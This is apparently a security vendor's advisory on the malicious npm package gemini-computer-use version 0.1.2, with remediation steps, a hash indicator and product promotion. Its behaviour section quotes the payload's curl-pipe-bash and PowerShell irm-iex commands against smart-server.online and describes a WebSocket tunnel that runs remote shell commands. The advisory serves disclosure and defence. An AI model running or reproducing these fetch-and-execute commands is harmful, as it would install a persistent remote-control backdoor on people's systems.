Which versions of gemini-computer-use are malicious?

The following npm versions of gemini-computer-use are flagged malicious: 0.1.2. Treat any of these as compromised.

How do I remediate gemini-computer-use if I installed it?

gemini-computer-use is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed gemini-computer-use — how do I know if it already compromised me?

If gemini-computer-use was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is gemini-computer-use part of a known attack campaign?

Yes — gemini-computer-use is associated with the IN-MAL-2026-020266 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find gemini-computer-use across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for gemini-computer-use (version 0.1.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging gemini-computer-use across your stack and pipelines.

Malicious package

gemini-computer-usenpm

gemini-computer-use is a confirmed malicious npm package (MAL-2026-16355) that steals credentials and exfiltrates sensitive data (malicious version 0.1.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gemini-computer-use (npm)

MAL-2026-16355

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gemini-computer-use

What this malware does

The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass running irm https://smart-server.online/install.ps1 | iex on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable main branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to wss://smart-server.online/ws/tunnel?user=...&token=... and processes JSON-RPC tools/call messages; the bash_exec handler passes the incoming command field to subprocess.run(cmd, shell=True), giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway.

Malicious versions

1 flagged

0.1.2

Indicators of compromise (SHA-256)

0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for gemini-computer-use (version 0.1.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging gemini-computer-use across your stack and pipelines.
If you installed it — respond
gemini-computer-use is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If gemini-computer-use was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks gemini-computer-use before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. gemini-computer-use on npm has been identified as a malicious package (version 0.1.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020266

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks gemini-computer-use-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database